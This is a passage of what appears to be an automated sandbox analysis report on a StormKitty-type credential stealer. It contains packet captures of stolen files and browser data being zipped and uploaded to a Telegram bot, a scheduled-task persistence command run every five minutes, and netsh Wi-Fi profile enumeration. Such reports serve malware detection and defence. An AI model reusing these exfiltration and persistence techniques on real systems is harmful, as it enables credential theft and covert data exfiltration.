51 09 54 21 00 50 4b 03 04 14 00 00 00 08 00 60 73 90 58 63 c2 65 e7 53 00 00 00 5e 00 00 00 1c 00 00 00 42 Data Ascii: PKoXBrowsers\Edge\PKoXBrowsers\Google\PK`sXQ3JiBrowsers\Firefox\Bookmarks.txtSVVVpO-QH)PPVVbTHg^Y~NYj\1)D!YUIf^BpIbQT!PK`sXceS^B
2024-04-16 12:27:05 UTC	16355	OUT	Data Raw: 3d 08 05 cf d4 2d bc eb 17 ba 68 a5 a9 e7 f9 90 33 fe 18 83 b3 a9 c0 ad de 10 57 78 29 1f 46 01 de 10 40 32 39 7c e3 68 69 10 61 d4 41 ae a1 31 30 4f 7b 43 32 88 77 46 25 97 ad af 01 ae 5a 53 24 6b 83 ab 3b 6d e9 3b 51 aa 33 88 4d 66 f3 19 8f 5f f3 6a 88 9f 76 5f 31 c1 4d 48 75 29 73 65 da 38 a9 56 41 68 e9 b3 19 e4 6e bf bf 2f 28 cc 7a f2 36 4c 75 c2 47 e5 72 7a db 71 af c2 59 02 b6 30 94 29 39 1b 7b 52 99 d3 e5 7d fd 80 60 21 89 19 58 e2 ac d8 5f 96 7c a0 e7 79 fc f1 42 1d ec 4e 2f d7 64 76 d5 f6 a8 d4 2b 32 fc 43 77 a2 e6 87 49 35 cd df 7e d5 0c b7 50 7d e9 fc 25 5e fa 90 b1 5e 5b 5f f3 11 0d f6 b4 a8 9c 29 8c 0f 5f a9 33 63 7d cf ce 4f cd cb 6b ba f5 fc 22 09 18 7b 6c 7c 5f 17 ff d4 da 6c 9e 4e 1f 9e 5f d6 e7 53 77 cb 30 90 cf bc 81 78 1a af e8 c9 56 Data Ascii: =-h3Wx)F@29\|hiaA10O{C2wF%ZS$k;m;Q3Mf_jv_1MHu)se8VAhn/(z6LuGrzqY0)9{R}`!X_\|yBN/dv+2CwI5~P}%^^[_)_3c}Ok"{l\|_lN_Sw0xV
2024-04-16 12:27:05 UTC	16355	OUT	Data Raw: 5b 5f f3 11 0d f6 b4 a8 9c 29 8c 0f 5f a9 33 63 7d cf ce 4f cd cb 6b ba f5 fc 22 09 18 7b 6c 7c 5f 17 ff d4 da 6c 9e 4e 1f 9e 5f d6 e7 53 77 cb 30 90 cf bc 81 78 1a af e8 c9 56 1c 4b 41 13 b4 57 e6 1b 69 4f b4 85 2c f1 ad 1c bb 04 7e 4d 92 63 1d 37 34 d8 98 e7 b2 6d cf ad 3f 4a 15 bc 0f 82 14 68 c4 2f 5e b4 2d 7f d6 ff fe fc 01 50 4b 03 04 14 00 00 00 08 00 1a 82 44 57 03 c0 74 a0 84 02 00 00 02 04 00 00 3e 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 65 73 6b 74 6f 70 5c 53 51 53 4a 4b 45 42 57 44 54 5c 5a 47 47 4b 4e 53 55 4b 4f 50 2e 6a 70 67 15 93 d9 91 40 21 08 04 ff b7 6a 83 f2 c0 5b 3c 40 9f 98 7f 20 eb 06 40 31 4c 37 d7 fb 8c b4 72 eb b5 77 0c fb 86 34 fc 06 37 a2 64 30 96 f5 5a 78 ad a0 1f 18 Data Ascii: [_)_3c}Ok"{l\|_lN_Sw0xVKAWiO,~Mc74m?Jh/^-PKDWt>Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT\ZGGKNSUKOP.jpg@!j[<@ @1L7rw47d0Zx
2024-04-16 12:27:05 UTC	16355	OUT	Data Raw: 55 16 c6 f8 ed 67 67 4e 67 41 99 77 ec 56 a0 be ff ab 98 12 28 a6 df 9f 3f 50 4b 03 04 14 00 00 00 08 00 1a 82 44 57 d9 1d 2b b8 86 02 00 00 02 04 00 00 41 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 42 4e 41 47 4d 47 53 50 4c 4f 5c 42 4e 41 47 4d 47 53 50 4c 4f 2e 64 6f 63 78 0d 93 49 92 45 21 08 04 f7 1d f1 0f 25 2a ce a0 a2 cf e1 fe 07 69 37 ac 8c a0 c8 2c 81 94 2b 4e 6a e6 46 29 7f 6d 9d b3 8e 33 83 82 f7 55 5c 3a 40 40 0e e5 ba 73 70 7e 24 7c 86 2a b7 72 e0 54 10 97 89 e1 e8 e8 c6 ba 52 b6 32 20 d1 d8 64 46 dd e6 3b 10 2e 66 19 18 e4 6c 95 d4 69 ab 66 83 6a ed 4d 43 3e df b3 0e 44 a3 47 5f 00 9b 6a e0 b1 8b 37 a6 c7 eb 02 0a a3 74 36 5b 2f 0c f3 f6 dd 9b b0 ae b2 d3 26 Data Ascii: UggNgAwV(?PKDW+AGrabber\DRIVE-C\Users\user\Documents\BNAGMGSPLO\BNAGMGSPLO.docxIE!%i7,+NjF)m3U\:@@sp~$\|rTR2 dF;.flifjMC>DG_j7t6[/&
2024-04-16 12:27:05 UTC	16355	OUT	Data Raw: f6 23 0a ab 99 53 c0 fb ed 3a 8e 85 01 76 bb 46 d0 94 d5 8d a3 f3 23 05 b5 67 cc 92 2b a4 31 3a f7 ce 99 46 aa a6 72 91 0b 90 e7 c1 7e f7 b9 f2 81 03 5b dc 50 da 68 88 b4 d3 83 55 f4 b1 cb 25 99 96 72 82 28 37 d4 f4 12 ed 12 47 dc 60 33 7d 45 5d df a7 95 2b 63 75 0e 73 e7 5c 5a 3d cf c7 c9 9a 0b 6b 57 a5 bc 2b 42 96 c7 67 ce fd 86 d6 9f d5 54 f3 f2 31 0f af 2b dc 90 cc a4 1e 4b 0c dc 58 fb ef a3 d0 10 37 26 f4 e3 3d b6 6a fb 91 63 59 61 aa a5 8a 77 c1 35 dd 1e ec 97 c1 e8 de af a6 ef 24 5d d7 17 75 df c1 ed 7b a2 25 52 5d ee ed 56 31 9b e0 ee 07 1b ab f2 e3 52 a2 e6 33 91 1d 31 68 fe 9a c3 dc c4 c9 8b 7b 4a 3d 46 1c 57 9a 5b 15 1d 22 c4 1a 41 29 38 3e 41 5a 7a 3e 96 9e 58 cb 53 f6 56 ec 9a 0b 7e b1 a9 68 8c 90 fd 76 ee f3 d8 66 d3 4c 33 28 7e c5 88 85 b2 Data Ascii: #S:vF#g+1:Fr~[PhU%r(7G`3}E]+cus\Z=kW+BgT1+KX7&=jcYaw5$]u{%R]V1R31h{J=FW["A)8>AZz>XSV~hvfL3(~
2024-04-16 12:27:05 UTC	16355	OUT	Data Raw: ad 4e 8d df f8 a8 9e 3c 17 26 44 00 26 b5 0b 01 1e d7 dc 7e 99 93 0f ed 25 f9 b9 81 6f 8e 6e b2 96 9f 94 c9 2d eb 9e 4f 0f ac 19 b2 11 1e 44 8a 7e 07 68 ca cd 1f 8b b5 dc a7 2a fc 2b c0 bf 02 fc 2b c0 7f 34 00 e9 df 99 74 96 e3 58 e9 d1 47 e4 29 d7 ed 0f 45 54 81 e4 37 cc 01 77 bb 2f 40 2c 91 68 8f c3 0b 20 fc 02 9c 6f 6a 32 a2 67 47 18 48 51 3c e0 b5 3f 5e be 00 7d d1 e4 1f a0 2f 40 66 c0 ed 79 c9 1e 3c 76 9c 8b f8 2b bf 88 d5 67 af 17 60 b3 37 16 62 f8 02 8c 8a 3d 7a 4e 5d a9 c1 ff a3 5b de 91 ce 0b 70 39 fa 02 90 f1 88 e0 c2 20 cd 55 bc 00 bb 59 cf c2 56 ff 08 a8 2a 03 48 fc 93 c4 d2 bf 9d 7e ba a7 d7 7a a3 7e 76 c3 a3 df 89 0a 3a c0 b4 3e a0 72 f8 b7 14 e3 ff 18 f1 5d df 58 8a b1 5f 64 df 1a 3d e4 1f 99 b8 ff 31 a7 a2 dc c0 7f 3a f5 6c d8 d4 13 48 ef Data Ascii: N<&D&~%on-OD~h++4tXG)ET7w/@,h oj2gGHQ<?^}/@fy<v+g`7b=zN][p9 UYVH~z~v:>r]X_d=1:lH
2024-04-16 12:27:05 UTC	16355	OUT	Data Raw: 28 cc bb 96 47 31 7d 81 ac 59 9d 89 a6 48 1b a9 5a bc 40 49 a4 89 ae 64 1e 13 bd 67 1b 58 d0 8b ce 8a 5b b2 aa 0a 7c 8b d7 11 db c2 b2 a7 06 7c 86 ae e3 2b ea 28 ca ba 29 83 a2 a3 b3 1d e4 f4 67 41 7f 6e 96 0d a8 cc d2 dd cd 59 18 af 1b f7 93 27 d5 8d 01 a4 fe ff 51 ca 17 0e b7 a3 80 af 1a 73 18 6d 48 fa ac 32 55 91 87 47 d8 a4 66 d6 cc 7e 45 96 0c 16 94 58 7d 49 bf f9 2b 14 16 e0 1f d0 14 59 b6 19 4e 51 0b 61 21 07 d5 cf 9e 6c d7 37 cb f2 c5 66 21 81 03 cf 24 e5 ce be 0a 44 96 29 2a da 0d db 27 87 3a f6 eb 5f c2 fd 8a 3c 5b db 32 9f cf 8d 5c b3 c8 46 19 67 7f 27 30 a0 0b f4 58 13 8a ed e3 96 81 25 1f e4 63 08 68 e9 0c e5 2c ad 3c 8b 98 59 d6 e6 7e 6f 45 8d 51 d6 bf 13 9e b6 52 5f 61 79 50 c7 81 29 a9 2f e2 80 04 5d 62 fa 26 f0 37 54 33 b8 f0 2b 87 ed ac Data Ascii: (G1}YHZ@IdgX[\|\|+()gAnY'QsmH2UGf~EX}I+YNQa!l7f!$D)*':_<[2\Fg'0X%ch,<Y~oEQR_ayP)/]b&7T3+
2024-04-16 12:27:05 UTC	16355	OUT	Data Raw: 38 a4 db 4c ee dc e2 d4 13 1e 62 cd 68 95 41 12 84 b4 7d 79 71 fe e2 aa 65 81 a6 30 e7 98 a6 1c ef f0 54 67 85 60 27 2a 77 bc e3 78 a0 01 d1 c6 ad 81 6b 9d 46 e5 a2 73 b9 ad 11 92 75 52 62 12 f2 53 9f 78 63 ac cb b7 29 93 9a 86 84 9f 81 e6 2e 74 03 1f ac da 54 e1 fa 3f e8 c5 f0 96 26 09 63 a7 a9 4e 98 8c d3 8c 73 1a 08 48 3b 9e 2b 21 67 08 50 52 e5 3d ea 88 7d 40 28 42 d7 7b ed 89 f9 49 20 4f cf 68 f2 09 d5 e5 fe 19 50 d1 bf 7b 71 68 dd a5 31 0e 9b 86 7c 31 31 a1 20 c0 05 ae bb 8b 2a 36 57 ae 92 34 6c f3 76 12 4f 93 b0 be 1c 84 33 85 f5 df 14 a7 90 3a 1b 35 d9 9a 7e 3f e9 25 dc 0f 12 97 2f 75 11 2c 64 cc 6d e3 6f 25 49 09 d3 85 cb 05 32 1b ae c8 a5 5e 7e 2e 8b eb 74 bd d7 87 3b 23 c6 ff 46 75 b2 f4 4d 25 fd 90 f8 28 65 2d 1a 5b 57 c7 dd 76 c6 9d f3 57 93 Data Ascii: 8LbhA}yqe0Tg`'wxkFsuRbSxc).tT?&cNsH;+!gPR=}@(B{I OhP{qh1\|11 6W4lvO3:5~?%/u,dmo%I2^~.t;#FuM%(e-[WvW
2024-04-16 12:27:05 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-16 12:27:06 UTC	852	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 16 Apr 2024 12:27:06 GMT Content-Type: application/json Content-Length: 464 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":21253,"from":{"id":5444063802,"is_bot":true,"first_name":"quakerz","username":"quakerz_bot"},"chat":{"id":1126217452,"first_name":"N3cro","last_name":"M4ncer","username":"N3croM4nc","type":"private"},"date":1713270426,"document":{"file_name":"6D97C624D7.zip","mime_type":"application/zip","file_id":"BQACAgQAAxkDAAJTBWYebpqW0XKCOs9qCDAvOdaEpasdAALNEgACWmPwUGx3NPjDAAF9ZzQE","file_unique_id":"AgADzRIAAlpj8FA","file_size":196894}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49719	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-04-16 12:27:12 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9pAT4RKKfEeELv4&MD=nfkaylzL HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-16 12:27:12 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2dad698e-e885-4868-8bd6-3dd2340a6063 MS-RequestId: e8418874-5062-4c95-8646-33ab356946fa MS-CV: 87rxDT0IZEyTbpE/.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 16 Apr 2024 12:27:11 GMT Connection: close Content-Length: 24490
2024-04-16 12:27:12 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-16 12:27:12 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49727	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-04-16 12:27:50 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9pAT4RKKfEeELv4&MD=nfkaylzL HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-16 12:27:51 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: cd2b66c8-2b23-4041-8f26-559fb0bf9aab MS-RequestId: 5dfb538d-1ea5-4f53-8f38-a795620b3887 MS-CV: /HzkuJDXEka2xisK.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 16 Apr 2024 12:27:49 GMT Connection: close Content-Length: 25457
2024-04-16 12:27:51 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-16 12:27:51 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	14:26:51
Start date:	16/04/2024
Path:	C:\Users\user\Desktop\HTZ4az17lj.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\HTZ4az17lj.exe"
Imagebase:	0x295f4c30000
File size:	69'136 bytes
MD5 hash:	CEB9E6829D00AD6E8F25B30D77ABA83F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:26:55
Start date:	16/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN WinTask
Imagebase:	0x7ff73e180000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:26:55
Start date:	16/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:26:55
Start date:	16/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:26:55
Start date:	16/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN WinTask
Imagebase:	0x7ff73e180000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:26:56
Start date:	16/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:26:56
Start date:	16/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe /sc minute /mo 5
Imagebase:	0x7ff73e180000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:26:56
Start date:	16/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1952,i,15724053339194688930,12067670684069383472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:26:56
Start date:	16/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:26:58
Start date:	16/04/2024
Path:	C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe
Imagebase:	0x256f1450000
File size:	69'136 bytes
MD5 hash:	CEB9E6829D00AD6E8F25B30D77ABA83F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs Detection: 56%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:27:00
Start date:	16/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x7ff772f40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:27:00
Start date:	16/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:27:00
Start date:	16/04/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff64cdc0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:27:00
Start date:	16/04/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff6aa520000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:27:00
Start date:	16/04/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr All
Imagebase:	0x7ff6c4300000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:27:01
Start date:	16/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0x7ff772f40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:27:01
Start date:	16/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:27:01
Start date:	16/04/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff64cdc0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:27:01
Start date:	16/04/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x7ff6aa520000
File size:	96'768 bytes
